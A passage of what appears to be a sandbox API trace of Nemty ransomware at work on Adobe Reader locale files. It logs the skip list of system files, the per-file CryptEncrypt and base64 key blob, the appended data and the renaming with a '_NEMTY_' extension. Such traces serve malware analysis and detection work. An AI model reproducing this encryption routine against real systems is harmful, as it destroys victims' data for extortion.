dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.360] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0177.360] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.361] CloseHandle (hObject=0x2e8) returned 1 [0177.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.361] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Spelling.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\spelling.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Spelling.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\spelling.fra._nemty_kgobjgd_")) returned 1 [0177.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.362] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.FRA", cAlternateFileName="")) returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2=".") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="..") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="...") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="windows") returned -1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="rsa") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="NTDETECT.COM") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="ntldr") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="MSDOS.SYS") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="IO.SYS") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="boot.ini") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="boot.ini") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="ntuser.dat") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="desktop.ini") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="CONFIG.SYS") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="RECYCLER") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="bootmgr") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="programdata") returned 1 [0177.362] lstrcmpiW (lpString1="updater.FRA", lpString2="appdata") returned 1 [0177.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.FRA", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.FRA", lpUsedDefaultChar=0x0) returned 11 [0177.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.FRA", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.FRA", lpUsedDefaultChar=0x0) returned 11 [0177.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.FRA", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.FRA", lpUsedDefaultChar=0x0) returned 11 [0177.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.FRA", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.FRA", lpUsedDefaultChar=0x0) returned 11 [0177.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.363] Sleep (dwMilliseconds=0x5) [0177.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d5e1670, dwHighDateTime=0x1d561e8)) [0177.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d5e1670, dwHighDateTime=0x1d561e8)) [0177.370] GetLastError () returned 0x0 [0177.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.370] GetLastError () returned 0x0 [0177.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.370] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.370] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.370] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.370] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="ufnmQtz0HCkxP3YHae9trzqRH2lwthaT6LZ3TjuFMtimMeijMksq08XC33YsfJhy\r\nTFtJXFn8dO6x+XHcRxtia9nGh72PQFnkadIsUsNdDzelmTAJlOqJpEU3+Zj5QOym\r\n5CJxRMRo9Yi2i2XcORC/sb07ZPR50JJu+S+XX8osZhrWAlduxIH9cKlCVLSsgrR0\r\nigC2Wsr1OBAt+JVgiTN66RqyuYJ8Zyt5RQHrEDtaCRj+cBYMEKoWpY76u3cnXVqY\r\nA6wNXLYq9MzJsJ2j35XvtbBTkFIHDg4B8DtsjTIcDi7QYYr18lrKrFgzZcgouCx4\r\n3h79Fv/VRY9uOuEPTPyMZA==\r\n", pcchString=0x653e5dc) returned 1 [0177.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.370] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\updater.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\updater.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.371] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0177.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0177.371] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.371] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0177.374] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.374] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0177.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.374] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0177.374] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.374] CloseHandle (hObject=0x2e8) returned 1 [0177.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.374] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.374] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.374] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\updater.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\updater.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\updater.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\updater.fra._nemty_kgobjgd_")) returned 1 [0177.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.375] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.FRA", cAlternateFileName="")) returned 1 [0177.375] lstrcmpiW (lpString1="Weblink.FRA", lpString2=".") returned 1 [0177.375] lstrcmpiW (lpString1="Weblink.FRA", lpString2="..") returned 1 [0177.375] lstrcmpiW (lpString1="Weblink.FRA", lpString2="...") returned 1 [0177.375] lstrcmpiW (lpString1="Weblink.FRA", lpString2="windows") returned -1 [0177.375] lstrcmpiW (lpString1="Weblink.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.375] lstrcmpiW (lpString1="Weblink.FRA", lpString2="rsa") returned 1 [0177.375] lstrcmpiW (lpString1="Weblink.FRA", lpString2="NTDETECT.COM") returned 1 [0177.375] lstrcmpiW (lpString1="Weblink.FRA", lpString2="ntldr") returned 1 [0177.375] lstrcmpiW (lpString1="Weblink.FRA", lpString2="MSDOS.SYS") returned 1 [0177.375] lstrcmpiW (lpString1="Weblink.FRA", lpString2="IO.SYS") returned 1 [0177.375] lstrcmpiW (lpString1="Weblink.FRA", lpString2="boot.ini") returned 1 [0177.375] lstrcmpiW (lpString1="Weblink.FRA", lpString2="boot.ini") returned 1 [0177.375] lstrcmpiW (lpString1="Weblink.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.376] lstrcmpiW (lpString1="Weblink.FRA", lpString2="ntuser.dat") returned 1 [0177.376] lstrcmpiW (lpString1="Weblink.FRA", lpString2="desktop.ini") returned 1 [0177.376] lstrcmpiW (lpString1="Weblink.FRA", lpString2="CONFIG.SYS") returned 1 [0177.376] lstrcmpiW (lpString1="Weblink.FRA", lpString2="RECYCLER") returned 1 [0177.376] lstrcmpiW (lpString1="Weblink.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.376] lstrcmpiW (lpString1="Weblink.FRA", lpString2="bootmgr") returned 1 [0177.376] lstrcmpiW (lpString1="Weblink.FRA", lpString2="programdata") returned 1 [0177.376] lstrcmpiW (lpString1="Weblink.FRA", lpString2="appdata") returned 1 [0177.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.FRA", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.FRA", lpUsedDefaultChar=0x0) returned 11 [0177.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.FRA", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.FRA", lpUsedDefaultChar=0x0) returned 11 [0177.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.FRA", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.FRA", lpUsedDefaultChar=0x0) returned 11 [0177.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.FRA", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.FRA", lpUsedDefaultChar=0x0) returned 11 [0177.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.376] Sleep (dwMilliseconds=0x5) [0177.385] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d6077d0, dwHighDateTime=0x1d561e8)) [0177.385] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d6077d0, dwHighDateTime=0x1d561e8)) [0177.385] GetLastError () returned 0x0 [0177.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.385] GetLastError () returned 0x0 [0177.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.386] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.386] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.386] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.386] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="kbt+zf/qUP506g3fv1/Lf+yOFayj/D2j8bsKXsSRpkZgc2lJnXOLubVMQAkko5Mq\r\nPvs3ewAazBclqp4CU3BlNDTjRP3ZZnXkM8gIpwgsPXaSFHoXMG35nbYwhevyRMD1\r\ndxeXI1GmPVjwnEDfwnH+NBBdtdPuEgVPJb1hUoIh967oxLSIRJy+o5A0zeD293K1\r\nd34qVR4kplRqTY2QEFu6oy4c6Iu8glBGamqWcopW95KohLx9hOxJgv+aIyDqsUu0\r\nkxBCBNjoRstBxeTA88ElHUwJDYtR1icIZpN3+h0fVIl3A+FzhUu2Hqm5i1bdf6oB\r\nSKSEr7NMuYcaK0gDzyffmA==\r\n", pcchString=0x653e5dc) returned 1 [0177.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.386] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Weblink.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\weblink.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.386] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28672) returned 1 [0177.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7000) returned 0x6352c48 [0177.386] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 